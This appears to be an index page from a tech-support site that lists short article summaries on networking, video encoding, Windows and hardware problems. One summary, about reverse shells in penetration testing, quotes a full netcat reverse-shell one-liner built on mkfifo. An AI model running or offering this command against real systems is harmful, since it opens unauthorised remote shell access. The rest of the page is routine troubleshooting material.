Articles about en | UserComp.com

Comparing Directories with Usefdupes: Identifying and Deleting Duplicates

Usefdupes is a powerful tool for comparing two directories and identifying duplicate files. This article explains how to use it to compare directories, identify files present in both directories, and delete duplicates.

Replace Parentheses with Square Brackets in Tech Support Documents

This article explains how to replace parentheses with square brackets in tech support documents to maintain consistency and improve readability. For instance, (Susan Schreiner, Alone Wise? Search Certainty Early Modern Era [Oxford: Oxford University Press, 2015]) becomes [Susan Schreiner, Alone Wise? Search Certainty Early Modern Era [Oxford: Oxford University Press, 2015]].

Constant Wifi Issues and Blue Screens: Troubleshooting Guide

Since purchasing my PC in 2019, I've encountered persistent technical issues. The problems don't follow a regular pattern and I'm unable to reproduce them. The symptoms include constant wifi issues and blue screens.

Python Extension File Not Receiving Command-Line Arguments

Learn how to resolve the issue of a Python extension file not receiving command-line arguments. Discover the possible reasons and solutions for this problem.

Python Extension File Not Receiving Command-Line Arguments

Learn how to pass command-line arguments to Python extensions, focusing on the .py file associated with C:\windows\py.exe.

Handling Included Files with DSC Comments in PostScript Documents

Learn how to handle included files with DSC comments in PostScript documents. Understand the conventions and run commands to include and process these files.

Lenovo Laptop: Understanding CPU Speed and Power Options - Plugged In

Learn about Lenovo laptop CPU speed and power options when the device is plugged in and connected to AC power.

Connect IP Camera to Computer: Hosted Server Solution for Client-Server Architecture

Learn how to connect your IP camera to a computer using a hosted server solution for a client-server architecture. This guide covers the basics of programming and provides a Github repository example.

Nintendo DSWifi: Mario Kart DS Online Play Fails (pcaps Included)

Experiencing issues with online play in Mario Kart DS on Nintendo DS? Check out this article for potential solutions and included pcaps for further analysis.

Restoring Folder Names after Accidental Bulk Rename in WSL2

Learn how to restore folder names after an accidental bulk rename in WSL2. This article covers the steps to use the 'scanandfix' command to correct corrupt files.

Split Video onto Two Displays with VLC on Raspberry Pi

Learn how to split a video into two displays using VLC media player on a Raspberry Pi with HDMI-connected screens. Non-manual method.

Creating Excel Percentage Bar Chart: Length Not Increasing

Users report an issue where the length of the Excel percentage bar chart doesn't increase when data is added. This article offers potential solutions to help resolve the problem.

Changing LAN IPv4 DHCP makes OpenSense Unreachable on Hetzner

In this article, we will guide you through the process of resolving the issue of OpenSense becoming unreachable after changing the LAN IPv4 DHCP settings on Hetzner.

FFV1 vs. H.264/H.265: Lossless vs. Huffyuv Encoding for Videos

Compare FFV1, H.264, H.265, and Huffyuv video encoding formats, focusing on lossless compression.

Setting up Docker Development Environment: Installing Tools and Using VSCode Remote Development

Learn how to set up a Docker development environment, install necessary tools, and use Visual Studio Code for remote development. This guide covers the basics of Docker and VSCode, making it easy for developers to get started.

Centos 7: Resolving FFmpeg Issues (Version 2.8.15)

Encountered errors while attempting to run FFmpeg on Centos 7 servers? Learn how to resolve FFmpeg version 2.8.15 issues with this comprehensive troubleshooting guide.

Making OPNsense Unreachable after Changing LAN IPv4 DHCP on Hetzner

Learn how to resolve OPNsense becoming unreachable after changing LAN IPv4 DHCP settings on Hetzner.

Successfully Deploying OpenVPN with pfSense Firewall Behind Starlink Dish

This article explains the process of successfully deploying OpenVPN with a pfSense firewall behind a Starlink dish. The connection between the Netgate pfSense firewall and the Starlink dish has been established, and both WAN and LAN are running smoothly. Port 1 WAN (192.168.xxx.x) has been configured. Learn how to configure OpenVPN with pfSense and Starlink.

Hardware Encoding MP4 with FFmpeg: Hardcode Subtitles

Learn how to hardware encode MP4 files using FFmpeg with subtitle hardcoding. Convert 100 MKV files to MP4 format while enabling hardware encoding for faster processing.

Installing Asus Hyper M.2 Expansion Card with GIGABYTE B450M DS3H and Ryzen 5 3600

Learn how to install an Asus Hyper M.2 expansion card on a GIGABYTE B450M DS3H motherboard with a Ryzen 5 3600 processor.

Error Message: 'Set Affinity' for MsMpEng.exe in Task Manager - Access Denied

Users report an error message when attempting to 'set affinity' for MsMpEng.exe in Task Manager, with the message stating 'access denied'. This article aims to explain the cause of the error and provide potential solutions.

Windows Defender Flagging MS Office Apps (Excel & Winword) as Threats: Exclusion Steps

Learn how to exclude MS Office applications (Excel and Winword) from Windows Defender Threat Protection for a smoother user experience.

Setting Up New OPNsense with Almost Default Config and DNS Access Sites on Protected Laptop

Learn how to set up a new OPNsense firewall with almost default configurations and configure DNS access sites on a protected laptop.

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Configuring OpenConnect VPN with NetworkManager on Linux for Split-Tunnel and Subnet Restriction

Learn how to set up a Split-Tunnel VPN using OpenConnect plugin with NetworkManager on Linux (Kubuntu), restricting VPN usage to a particular subnet by specifying an IPv4 route.

Expected Speed Up: M3 Pro Mac vs. Intel-based Machine - H.264/HEVC Encoding Comparison

A new M3 Pro Mac is much quicker than a previous Intel-based machine. However, the expected speed up when using H.264/HEVC toolbox encoding compared to libxencodings remains to be seen.

How to Disable Portion Touchscreen in Ubuntu 20.04

Learn how to disable a portion of the touchscreen on Ubuntu 20.04. This article explains the steps to take for a more comfortable and productive experience.

How to Format an External Drive Encrypted exFAT for Use with Windows 11

Learn how to format an external drive encrypted with APFS filesystem on Mac to exFAT for use with Windows 11.

Excel Formula Increases Every 3 Years Based on Current Year

Learn how to create an Excel formula that automatically increments a value every three years based on the current year.

Troubleshooting FFmpeg: Out-of-Sync Glitches with Concatenate Filter and Cut Segments

This article discusses solutions to out-of-sync glitches encountered when using FFmpeg's concatenate filter and cut segments. Learn how to fix these issues for optimal video playback on Linux, Windows, and MacOS.

Setting up a 144hz External Monitor with Omen Laptop (15-dc0005ne)

Learn how to connect and configure a 144hz external monitor with your Omen Laptop (15-dc0005ne). Discover the steps to optimize your gaming experience.

Troubleshooting Legion 515ARH05 BIOS Issue: Missing Bin File

Users report an issue with the Legion 515ARH05 where the latest Lenovo EXE file fails to extract the binrom file during the BIOS update process. This article provides a suggested solution.

OpenSSH 9.6 Supports ED25519 PEM Keys for SSH

OpenSSH 9.6 introduces support for reading ED25519 private keys in PEM format for ssh(1), sshd(8), ssh-add(1), and ssh-keygen(1).

Gimp on Windows 10: Greek Characters in Submenus

This article explains how to display Greek characters correctly in Gimp submenus on a Windows 10 system.

Safe Delete: Instantly Move and Delete Files in Windows - Tech Support

Learn how to safely delete files in Windows instantly by moving them to the Recycle Bin and permanently deleting them. Discover the difference between copying and moving files and how it affects the file system cache.

Emby Media Server Unable to Access Media Files on TrueNAS SMB Share (Subdirectories)

This article discusses a common issue where Emby Media Server (version 4.8.5.0) fails to access media files stored on a TrueNAS Scaleserver SMB share, specifically with subdirectories.

File Mysteriously Overwritten During MS Word Use: Data Recovery for Windows

Learn how to recover overwritten MS Word files on Windows systems using data recovery techniques. Discover the causes and solutions to prevent file loss.

Persistent Ethernet USB Interface: Intermittent Carrier Signal on Arch Linux ARM for ODroid XU4

Users of Arch Linux ARM on ODroid XU4 report intermittent carrier signals when using built-in NICs with well-known USB Ethernet dongles. This article offers potential solutions to the issue.

Old Phone Disconnected During File Transfer to HP ENVY i7 Laptop, Damage?

Last night, while transferring files from an old Motorola phone to a new HP ENVY i7 laptop, the charging phone disconnected from the USB. Could this have caused any damage to the laptop?

Outlook Rules: Recipients and Specific Folders Not Working

Learn how to troubleshoot issues with Outlook rules that don't redirect emails to specific recipients or folders.

PDF Blend Modes Render Differently Across Browsers: A Comparison of Illustrator and Acrobat

When creating PDF graphics using standard blend modes, such as 'Screen', differences in rendering can be observed between Adobe Illustrator and Adobe Acrobat. In this article, we'll compare the results and discuss potential workarounds.

Managing Environment Variables in Windows 11: A 767 Character Limit

Discover the maximum size limit for user-defined environment variables in Windows 11, and learn how to effectively manage your variables within the 767 character limit.

Powering a Second Monitor with DisplayPort: A Dell Alienware User Experience

A user describes their experience connecting a second Dell Alienware monitor using DisplayPort, sharing insights on powering the second display.

SSH Port Forwarding Not Working: A Troubleshooting Guide for Fedora 39 and Linksys WRT32X Router

This article provides a step-by-step guide to troubleshoot SSH port forwarding issues when using Fedora 39 as the server and a Linksys WRT32X router with OpenWRT 23.05.x. Learn how to configure your server and router to establish a secure and functional connection.

Cannot Sync Time in Windows 10: w32tm/resync responds with Access Denied

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